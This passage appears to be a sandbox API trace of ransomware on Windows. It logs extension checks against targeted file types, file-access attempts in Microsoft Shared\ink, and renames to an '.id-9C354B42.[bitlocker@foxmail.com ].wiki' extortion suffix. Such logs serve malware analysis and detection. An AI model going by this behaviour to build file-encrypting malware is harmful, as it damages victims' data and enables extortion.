[0064.303] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0064.303] lstrlenW (lpString=".xls") returned 4 [0064.303] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0064.303] lstrlenW (lpString=".xlsx") returned 5 [0064.303] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0064.303] lstrlenW (lpString=".ppt") returned 4 [0064.303] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0064.303] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\el-GR\\tipresx.dll.mui") returned 72 [0064.303] lstrlenW (lpString=".zip") returned 4 [0064.303] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0064.303] lstrlenW (lpString=".rar") returned 4 [0064.303] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0064.303] lstrlenW (lpString=".bz2") returned 4 [0064.303] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0064.303] lstrlenW (lpString=".7z") returned 3 [0064.303] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0064.303] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\el-GR\\tipresx.dll.mui") returned 72 [0064.303] lstrlenW (lpString=".dbf") returned 4 [0064.303] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0064.303] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\el-GR\\tipresx.dll.mui") returned 72 [0064.303] lstrlenW (lpString=".1cd") returned 4 [0064.303] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0064.303] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\el-GR\\tipresx.dll.mui") returned 72 [0064.303] lstrlenW (lpString=".jpg") returned 4 [0064.303] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0064.303] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\el-GR\\tipresx.dll.mui") returned 72 [0064.303] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\el-GR\\tipresx.dll.mui") returned 72 [0064.303] lstrlenW (lpString=".doc") returned 4 [0064.303] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0064.304] lstrlenW (lpString=".docx") returned 5 [0064.304] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0064.304] lstrlenW (lpString=".pdf") returned 4 [0064.304] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0064.304] lstrlenW (lpString=".xls") returned 4 [0064.304] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0064.304] lstrlenW (lpString=".xlsx") returned 5 [0064.304] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0064.304] lstrlenW (lpString=".ppt") returned 4 [0064.304] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0064.304] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\el-GR\\tipresx.dll.mui") returned 72 [0064.304] lstrlenW (lpString=".zip") returned 4 [0064.304] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0064.304] lstrlenW (lpString=".rar") returned 4 [0064.304] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0064.304] lstrlenW (lpString=".bz2") returned 4 [0064.304] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0064.304] lstrlenW (lpString=".7z") returned 3 [0064.304] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0064.304] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\el-GR\\tipresx.dll.mui") returned 72 [0064.304] lstrlenW (lpString=".dbf") returned 4 [0064.304] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0064.304] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\el-GR\\tipresx.dll.mui") returned 72 [0064.304] lstrlenW (lpString=".1cd") returned 4 [0064.304] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0064.304] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\el-GR\\tipresx.dll.mui") returned 72 [0064.304] lstrlenW (lpString=".jpg") returned 4 [0064.305] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0064.305] lstrcmpiW (lpString1=".mui", lpString2=".wiki") returned -1 [0064.305] lstrlenW (lpString="InputPersonalization.exe.mui") returned 28 [0064.305] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\InputPersonalization.exe.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\inputpersonalization.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x228 [0064.421] GetFileSizeEx (in: hFile=0x228, lpFileSize=0x314ff1c | out: lpFileSize=0x314ff1c*=2560) returned 1 [0064.421] CloseHandle (hObject=0x228) returned 1 [0064.421] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\InputPersonalization.exe.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\inputpersonalization.exe.mui")) returned 0x20 [0064.421] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\InputPersonalization.exe.mui.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\inputpersonalization.exe.mui.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0064.421] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\InputPersonalization.exe.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\inputpersonalization.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0064.421] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\InputPersonalization.exe.mui") returned 85 [0064.421] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\InputPersonalization.exe.mui") returned 85 [0064.422] lstrlenW (lpString=".doc") returned 4 [0064.422] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0064.422] lstrlenW (lpString=".docx") returned 5 [0064.422] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0064.422] lstrlenW (lpString=".pdf") returned 4 [0064.422] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0064.422] lstrlenW (lpString=".xls") returned 4 [0064.422] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0064.422] lstrlenW (lpString=".xlsx") returned 5 [0064.422] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0064.422] lstrlenW (lpString=".ppt") returned 4 [0064.422] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0064.422] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\InputPersonalization.exe.mui") returned 85 [0064.422] lstrlenW (lpString=".zip") returned 4 [0064.422] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0064.422] lstrlenW (lpString=".rar") returned 4 [0064.422] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0064.422] lstrlenW (lpString=".bz2") returned 4 [0064.422] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0064.422] lstrlenW (lpString=".7z") returned 3 [0064.422] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0064.422] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\InputPersonalization.exe.mui") returned 85 [0064.422] lstrlenW (lpString=".dbf") returned 4 [0064.422] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0064.422] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\InputPersonalization.exe.mui") returned 85 [0064.422] lstrlenW (lpString=".1cd") returned 4 [0064.422] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0064.422] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\InputPersonalization.exe.mui") returned 85 [0064.422] lstrlenW (lpString=".jpg") returned 4 [0064.422] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0064.422] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\InputPersonalization.exe.mui") returned 85 [0064.422] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\InputPersonalization.exe.mui") returned 85 [0064.422] lstrlenW (lpString=".doc") returned 4 [0064.422] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0064.422] lstrlenW (lpString=".docx") returned 5 [0064.423] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0064.423] lstrlenW (lpString=".pdf") returned 4 [0064.423] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0064.423] lstrlenW (lpString=".xls") returned 4 [0064.423] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0064.423] lstrlenW (lpString=".xlsx") returned 5 [0064.423] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0064.423] lstrlenW (lpString=".ppt") returned 4 [0064.423] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0064.423] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\InputPersonalization.exe.mui") returned 85 [0064.423] lstrlenW (lpString=".zip") returned 4 [0064.423] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0064.423] lstrlenW (lpString=".rar") returned 4 [0064.423] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0064.423] lstrlenW (lpString=".bz2") returned 4 [0064.423] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0064.423] lstrlenW (lpString=".7z") returned 3 [0064.423] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0064.423] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\InputPersonalization.exe.mui") returned 85 [0064.423] lstrlenW (lpString=".dbf") returned 4 [0064.423] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0064.423] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\InputPersonalization.exe.mui") returned 85 [0064.423] lstrlenW (lpString=".1cd") returned 4 [0064.423] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0064.423] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\InputPersonalization.exe.mui") returned 85 [0064.423] lstrlenW (lpString=".jpg") returned 4 [0064.423] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0064.423] lstrcmpiW (lpString1=".mui", lpString2=".wiki") returned -1 [0064.423] lstrlenW (lpString="mip.exe.mui") returned 11 [0064.423] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\mip.exe.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\mip.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x228 [0064.424] GetFileSizeEx (in: hFile=0x228, lpFileSize=0x314ff1c | out: lpFileSize=0x314ff1c*=10240) returned 1 [0064.424] CloseHandle (hObject=0x228) returned 1 [0064.424] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\mip.exe.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\mip.exe.mui")) returned 0x20 [0064.424] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\mip.exe.mui.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\mip.exe.mui.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0064.424] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\mip.exe.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\mip.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0064.424] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\mip.exe.mui") returned 68 [0064.424] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\mip.exe.mui") returned 68 [0064.424] lstrlenW (lpString=".doc") returned 4 [0064.424] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0064.424] lstrlenW (lpString=".docx") returned 5 [0064.424] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0064.424] lstrlenW (lpString=".pdf") returned 4 [0064.424] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0064.424] lstrlenW (lpString=".xls") returned 4 [0064.424] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0064.424] lstrlenW (lpString=".xlsx") returned 5 [0064.424] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0064.424] lstrlenW (lpString=".ppt") returned 4 [0064.424] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0064.424] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\mip.exe.mui") returned 68 [0064.424] lstrlenW (lpString=".zip") returned 4 [0064.424] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0064.424] lstrlenW (lpString=".rar") returned 4 [0064.425] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0064.425] lstrlenW (lpString=".bz2") returned 4 [0064.425] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0064.425] lstrlenW (lpString=".7z") returned 3 [0064.425] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0064.425] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\mip.exe.mui") returned 68 [0064.425] lstrlenW (lpString=".dbf") returned 4 [0064.425] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0064.425] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\mip.exe.mui") returned 68 [0064.425] lstrlenW (lpString=".1cd") returned 4 [0064.425] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0064.425] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\mip.exe.mui") returned 68 [0064.425] lstrlenW (lpString=".jpg") returned 4 [0064.425] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0064.425] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\mip.exe.mui") returned 68 [0064.425] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\mip.exe.mui") returned 68 [0064.425] lstrlenW (lpString=".doc") returned 4 [0064.425] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0064.425] lstrlenW (lpString=".docx") returned 5 [0064.425] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0064.425] lstrlenW (lpString=".pdf") returned 4 [0064.425] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0064.425] lstrlenW (lpString=".xls") returned 4 [0064.425] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0064.425] lstrlenW (lpString=".xlsx") returned 5 [0064.425] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0064.425] lstrlenW (lpString=".ppt") returned 4 [0064.425] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0064.425] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\mip.exe.mui") returned 68 [0064.425] lstrlenW (lpString=".zip") returned 4 [0064.425] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0064.425] lstrlenW (lpString=".rar") returned 4 [0064.425] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0064.425] lstrlenW (lpString=".bz2") returned 4 [0064.426] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0064.426] lstrlenW (lpString=".7z") returned 3 [0064.426] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0064.426] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\mip.exe.mui") returned 68 [0064.426] lstrlenW (lpString=".dbf") returned 4 [0064.426] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0064.426] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\mip.exe.mui") returned 68 [0064.426] lstrlenW (lpString=".1cd") returned 4 [0064.426] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0064.426] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\mip.exe.mui") returned 68 [0064.426] lstrlenW (lpString=".jpg") returned 4 [0064.426] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0064.426] lstrcmpiW (lpString1=".mui", lpString2=".wiki") returned -1 [0064.426] lstrlenW (lpString="mshwLatin.dll.mui") returned 17 [0064.426] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\mshwLatin.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\mshwlatin.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x228 [0064.439] GetFileSizeEx (in: hFile=0x228, lpFileSize=0x314ff1c | out: lpFileSize=0x314ff1c*=2560) returned 1 [0064.439] CloseHandle (hObject=0x228) returned 1 [0064.439] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\mshwLatin.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\mshwlatin.dll.mui")) returned 0x20 [0064.439] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\mshwLatin.dll.mui.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\mshwlatin.dll.mui.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0064.440] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\mshwLatin.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\mshwlatin.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0064.440] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\mshwLatin.dll.mui") returned 74 [0064.440] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\mshwLatin.dll.mui") returned 74 [0064.440] lstrlenW (lpString=".doc") returned 4 [0064.440] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0064.440] lstrlenW (lpString=".docx") returned 5 [0064.440] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0064.440] lstrlenW (lpString=".pdf") returned 4 [0064.440] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0064.440] lstrlenW (lpString=".xls") returned 4 [0064.440] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0064.440] lstrlenW (lpString=".xlsx") returned 5 [0064.440] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0064.440] lstrlenW (lpString=".ppt") returned 4 [0064.440] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0064.440] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\mshwLatin.dll.mui") returned 74 [0064.440] lstrlenW (lpString=".zip") returned 4 [0064.440] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0064.440] lstrlenW (lpString=".rar") returned 4 [0064.440] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0064.440] lstrlenW (lpString=".bz2") returned 4 [0064.440] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0064.440] lstrlenW (lpString=".7z") returned 3 [0064.440] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0064.440] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\mshwLatin.dll.mui") returned 74 [0064.440] lstrlenW (lpString=".dbf") returned 4 [0064.440] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0064.440] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\mshwLatin.dll.mui") returned 74 [0064.440] lstrlenW (lpString=".1cd") returned 4 [0064.440] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0064.440] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\mshwLatin.dll.mui") returned 74 [0064.440] lstrlenW (lpString=".jpg") returned 4 [0064.440] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0064.441] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\mshwLatin.dll.mui") returned 74 [0064.441] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\mshwLatin.dll.mui") returned 74 [0064.441] lstrlenW (lpString=".doc") returned 4 [0064.441] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0064.441] lstrlenW (lpString=".docx") returned 5 [0064.441] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0064.441] lstrlenW (lpString=".pdf") returned 4 [0064.441] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0064.441] lstrlenW (lpString=".xls") returned 4 [0064.441] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0064.441] lstrlenW (lpString=".xlsx") returned 5 [0064.441] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0064.441] lstrlenW (lpString=".ppt") returned 4 [0064.441] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0064.441] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\mshwLatin.dll.mui") returned 74 [0064.441] lstrlenW (lpString=".zip") returned 4 [0064.441] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0064.441] lstrlenW (lpString=".rar") returned 4 [0064.441] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0064.441] lstrlenW (lpString=".bz2") returned 4 [0064.441] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0064.441] lstrlenW (lpString=".7z") returned 3 [0064.441] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0064.441] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\mshwLatin.dll.mui") returned 74 [0064.441] lstrlenW (lpString=".dbf") returned 4 [0064.441] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0064.441] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\mshwLatin.dll.mui") returned 74 [0064.441] lstrlenW (lpString=".1cd") returned 4 [0064.441] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0064.441] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\mshwLatin.dll.mui") returned 74 [0064.441] lstrlenW (lpString=".jpg") returned 4 [0064.441] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0064.442] lstrcmpiW (lpString1=".mui", lpString2=".wiki") returned -1 [0064.442] lstrlenW (lpString="rtscom.dll.mui") returned 14 [0064.442] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\rtscom.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\rtscom.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x228 [0064.442] GetFileSizeEx (in: hFile=0x228, lpFileSize=0x314ff1c | out: lpFileSize=0x314ff1c*=2560) returned 1 [0064.442] CloseHandle (hObject=0x228) returned 1 [0064.442] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\rtscom.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\rtscom.dll.mui")) returned 0x20 [0064.442] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\rtscom.dll.mui.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\rtscom.dll.mui.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0064.442] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\rtscom.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\rtscom.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0064.442] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\rtscom.dll.mui") returned 71 [0064.442] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\rtscom.dll.mui") returned 71 [0064.442] lstrlenW (lpString=".doc") returned 4 [0064.442] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0064.442] lstrlenW (lpString=".docx") returned 5 [0064.442] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0064.442] lstrlenW (lpString=".pdf") returned 4 [0064.442] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0064.442] lstrlenW (lpString=".xls") returned 4 [0064.442] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0064.442] lstrlenW (lpString=".xlsx") returned 5 [0064.442] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0064.442] lstrlenW (lpString=".ppt") returned 4 [0064.442] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0064.443] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\rtscom.dll.mui") returned 71 [0064.443] lstrlenW (lpString=".zip") returned 4 [0064.443] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0064.443] lstrlenW (lpString=".rar") returned 4 [0064.443] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0064.443] lstrlenW (lpString=".bz2") returned 4 [0064.443] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0064.443] lstrlenW (lpString=".7z") returned 3 [0064.443] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0064.443] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\rtscom.dll.mui") returned 71 [0064.443] lstrlenW (lpString=".dbf") returned 4 [0064.443] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0064.455] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\InkObj.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\inkobj.dll"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\InkObj.dll.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\inkobj.dll.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0 [0064.459] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\micaut.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\micaut.dll"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\micaut.dll.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\micaut.dll.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0 [0064.460] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\mraut.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\mraut.dll"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\mraut.dll.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common 